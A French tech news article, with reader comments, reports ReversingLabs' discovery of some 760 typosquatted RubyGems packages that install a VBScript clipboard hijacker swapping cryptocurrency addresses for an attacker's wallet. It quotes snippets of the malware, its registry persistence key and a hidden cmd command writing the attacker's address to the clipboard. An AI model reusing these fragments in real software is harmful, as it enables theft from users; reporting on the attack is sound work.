Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Des hackers ont infecté plus de 700 packages utilisés par les développeurs d'un langage de programmation
Pour tenter de dérober des bitcoins

Le , par Stéphane le calme

122PARTAGES

13  0 
De nos jours, les organisations reconnaissent l'importance de l'aspect sécurité de leurs systèmes. Elles s'efforcent d'adopter les meilleures pratiques de sécurité dans le but d'éliminer les angles morts dans la chaîne d'attaque qui auraient augmenté le risque d'incident de sécurité. Cela rend la tâche plus difficile aux acteurs malveillants, car attaquer directement ces organisations est moins susceptible de donner des résultats.

Pour contourner ces mesures, les acteurs malveillants sont toujours à la recherche de nouveaux vecteurs d'attaque. L’un d’eux, appelé attaque de la chaîne d'approvisionnement des logiciels, devient de plus en plus populaire. Ces attaques menacent indirectement les organisations en ciblant les fournisseurs tiers qui leur fournissent des logiciels ou des services. Étant donné que ces fournisseurs sont généralement considérés comme des éditeurs de confiance, les organisations ont tendance à passer moins de temps à vérifier que les packages qu'elles consomment sont effectivement exempts de logiciels malveillants. Il y a une confiance implicite entre le fournisseur de logiciels et ses clients dans ce cas, et c'est de cette confiance que les acteurs malveillants veulent profiter.

Les référentiels open source entrent également dans cette catégorie. Ils sont particulièrement intéressants, car ils sont utilisés par des millions de développeurs à travers le monde, dont certains travaillent dans des organisations qui utilisent des technologies open source pour accélérer le développement de leurs propres logiciels commerciaux. Empaquetés dans des bibliothèques, ces composants open source représentent les blocs de construction d'application de base. En fonction de la complexité du logiciel qu'une organisation construit, de nombreuses bibliothèques tierces de ce type finissent par être utilisées dans le produit final.

Le développement de logiciels modernes est centré sur l'idée que les composants tiers devraient être réutilisables et facilement accessibles. Ces composants sont ainsi organisés et hébergés dans des mécanismes de livraison de logiciels appelés référentiels de packages. Étant étroitement intégrés aux langages de programmation, les référentiels facilitent la consommation et la gestion des composants tiers. Par conséquent, il est devenu aussi facile d'inclure une autre dépendance de projet que de cliquer sur un bouton ou d'exécuter une simple commande dans l'environnement de développement.

Mais le simple fait de cliquer sur un bouton ou d'exécuter une simple commande peut parfois être dangereux, car les acteurs malveillants partagent également un intérêt pour cette commodité. Il n'est pas surprenant d'apprendre que les référentiels de packages sont de plus en plus ciblés. Il existe plusieurs façons de mener les attaques: en compromettant les comptes de développeur ou leurs environnements build, et en faisant du typosquattage avec les noms de packages.

Le typosquattage est une forme de cybersquattage se fondant principalement sur les fautes de frappe et d'orthographe commises par l'internaute au moment de saisir une adresse web dans un navigateur. Le typosquattage est particulièrement intéressant. En utilisant ce type d'attaque, les acteurs malveillants nomment intentionnellement les packages malveillants pour qu'ils ressemblent le plus possible aux populaires (par exemple, rspec-mokcs au lieu de rspec-mocks), dans l'espoir qu'un utilisateur non vigilant tape le nom et installe involontairement le package malveillant.

Le cas de Ruby

C’est dans ce contexte qu’une équipe d’une entreprise spécialisée en cybersécurité a découvert que 760 packages du langage populaire Ruby contenaient du code malveillant pour voler des bitcoins.

ReversingLabs, basé à Cambridge, dans le Massachusetts, a dévoilé ses conclusions dans un billet de blog. Selon lui, en février, des hackers ont placé des fichiers malveillants dans un gestionnaire de packages appelé RubyGems, qui est généralement utilisé pour télécharger et partager des améliorations sur des logiciels existants. Selon les propres statistiques sur le site, le référentiel contient environ 158 000 packages (appelés gemmes) avec près de 49 milliards de téléchargements au total. De manière générale, un fichier gem est un Tape ARchive (TAR) avec la structure de base comme suit:


Le répertoire bin contient les binaires gem (s'ils existent), le répertoire lib contient le code du gem et le répertoire test contient les tests. Rakefile est utilisé par rake, un programme de type Make implémenté dans Ruby, pour automatiser les tests et générer du code. Le fichier Gemspec contient des métadonnées de base sur la gemme (comme l'auteur, la version, la description), mais il peut également inclure des informations supplémentaires sur les extensions qui seront utiles un peu plus tard.

Les hackers tentaient d'inciter les développeurs à télécharger des logiciels malveillants en utilisant le typosquattage.

Une fois à l'intérieur, le logiciel malveillant a exécuté un script malveillant qui démarre une boucle infinie pour capturer les données du presse-papiers d'un utilisateur, dans le but de rediriger toutes les transactions de cryptomonnaies potentielles vers leur adresse.

« Le script lui-même est assez simple. Tout d'abord, il crée un nouveau fichier VBScript avec la boucle malveillante principale sur le chemin d'accès « % PROGRAMDATA% \ Microsoft Essentials \ Software Essentials.vbs ». En tant que mécanisme de persistance, il crée ensuite une nouvelle clé de Registre d'exécution automatique « HCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run Microsoft Software Essentials ». Grâce à cela, le malware garantit qu'il est exécuté à chaque démarrage ou redémarrage du système.

« Lorsque le script malveillant "Software Essentials.vbs" est exécuté, il démarre une boucle infinie où il capture les données du presse-papiers de l'utilisateur avec les lignes de code suivantes :

Code : Sélectionner tout
1
2
Set objHTML = CreateObject("htmlfile")
text = objHTML.ParentWindow.ClipboardData.GetData("text")
« Le script vérifie ensuite si les données du presse-papiers correspondent au format d'une adresse de portefeuille de cryptomonnaie. Si c'est le cas, il remplace l'adresse par une adresse contrôlée par l'attaquant «1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc» dans une fenêtre masquée à l'aide de la commande suivante:

Code : Sélectionner tout
WScript.Shell run "C:\Windows\System32\cmd.exe /c echo 1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc | clip", 0
« Avec cela, l'acteur malveillant tente de rediriger toutes les transactions potentielles de cryptomonnaie vers son adresse de portefeuille ».


Mais malgré les meilleurs efforts des hackers, ReversingLabs a constaté qu'ils n'avaient pas réussi à obtenir de Bitcoin. La raison ? La voici : « Le candidat idéal pour succomber à ce type d'attaque de chaîne d'approvisionnement "spray-and-pray" est un développeur Ruby dont l'environnement de choix est un système Windows qui est également périodiquement utilisé pour effectuer des transactions Bitcoin. Une race rare en effet », écrivent les chercheurs.

L'entreprise de sécurité a contacté RubyGems deux jours après avoir découvert l'attaque, après quoi les fichiers infectés ont été rapidement supprimés.

RubyGems compte 158 000 packages avec près de 49 milliards de téléchargements au total - et semble être une cible populaire pour les pirates informatiques qui veulent voler des cryptomonnaies. L'année dernière, les chercheurs ont trouvé un logiciel de cryptojacking, qui utilise l'ordinateur d'un hôte pour extraire de la cryptomonnaie, dans 11 bibliothèques Ruby.

Bien que les entreprises de sécurité découvrent souvent de telles attaques, les pirates essaieront toujours de trouver de nouvelles façons d'accéder à la cryptomonnaie des utilisateurs.

Source : rapport des chercheurs

Et vous ?

Procédez-vous à des analyses lorsque vous utilisez des logiciels tiers au sein de votre entreprise ou pour vos projets privés ? Dans quelle mesure ?

Une erreur dans cette actualité ? Signalez-le nous !

Avatar de Anselme45
Membre extrêmement actif https://www.developpez.com
Le 21/04/2020 à 13:30
Procédez-vous à des analyses lorsque vous utilisez des logiciels tiers au sein de votre entreprise ou pour vos projets privés ? Dans quelle mesure ?
Aïe! La question qu'il ne fallait pas poser!

Et surtout la réponse que personne n'ose dire et avouer...

Pratiquement personne n'analyse le code d'une librairie, d'un composant ou d'un logiciel tiers que l'on intègre à son projet... Soit par paresse, soit par manque de compétence, soit parce que son patron n'est pas d'accord de payer pour une tâche qu'il considère inutile.

Quand personne ne prend la peine de lire les conditions générales avec de cliquer sur "j'accepte" qui osera dire qu'il passe en revue la totalité du code d'un composant open source avant de l'intégrer à son développement?
5  0 
Avatar de foxzoolm
Nouveau membre du Club https://www.developpez.com
Le 21/04/2020 à 21:40
je ne parle meme pas du respect des licences...
mix de lib a licences contraire.
lib GPL modifié non reversé
lib a usage non commercial fondu dans un logiciel commercial...
lib surdimensionner pour l'usage prévue
syndrome "cargot" a tous les étages.......
un grand n'importe quoi saupoudrer de m'enfoutisme.
2  0 
Avatar de Madmac
Membre éprouvé https://www.developpez.com
Le 22/04/2020 à 4:50
Morale de l'histoire: Ne jamais utliser des installateurs de tiers parties. Allez toujours à la source officielle.
2  0